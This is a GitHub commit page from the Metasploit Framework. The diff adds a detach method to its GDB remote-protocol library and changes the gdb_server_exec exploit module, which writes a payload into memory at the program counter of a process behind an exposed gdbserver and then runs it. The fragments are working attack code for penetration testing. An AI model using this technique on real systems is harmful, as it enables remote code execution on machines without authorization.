Skip to content

Commit 268d42c

Browse files
committed
Add PrependFork to payload options.
1 parent 6d3255a commit 268d42c

File tree

2 files changed

+15
-13
lines changed

2 files changed

+15
-13
lines changed

lib/msf/core/exploit/gdb.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -119,6 +119,14 @@ def continue(opts={})
119119
read_response if opts.fetch(:read, true)
120120
end
121121

122+
# Detaches from the remote process
123+
# @param opts [Hash] the options hash
124+
# @option opts :read [Boolean] read the response
125+
def detach(opts={})
126+
send_cmd 'D'
127+
read_response if opts.fetch(:read, true)
128+
end
129+
122130
# Executes one instruction on the remote process
123131
#
124132
# The results of running "step" will look like:

modules/exploits/multi/gdb/gdb_server_exec.rb

Lines changed: 7 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,11 @@ def initialize(info = {})
2121
[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],
2222
[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]
2323
],
24-
'Platform' => %w(linux unix osx windows),
25-
'DefaultTarget' => 0
24+
'Platform' => %w(linux unix osx),
25+
'DefaultTarget' => 0,
26+
'DefaultOptions' => {
27+
'PrependFork' => true
28+
}
2629
))
2730
end
2831

@@ -35,23 +38,14 @@ def exploit
3538
print_status "Stepping program to find PC..."
3639
gdb_pc, gdb_arch = process_info.values_at :pc, :arch
3740

38-
unless payload.arch.include? gdb_arch
39-
fail_with(
40-
Msf::Exploit::Failure::BadConfig,
41-
"The payload architecture is incorrect: "+
42-
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
43-
)
44-
end
41+
p = regenerate_payload(nil, gdb_arch, nil)
4542

4643
print_status "Writing payload at #{gdb_pc}..."
47-
write(payload.encoded, gdb_pc)
44+
write(p.encoded, gdb_pc)
4845

4946
print_status "Executing the payload..."
5047
continue
5148

52-
# gdb throws a SIGINT on the execve, so a second continue is necessary
53-
continue(read: false) # don't wait on response, as the shell is now looping
54-
5549
handler
5650
disconnect
5751
end

0 commit comments

Comments
 (0)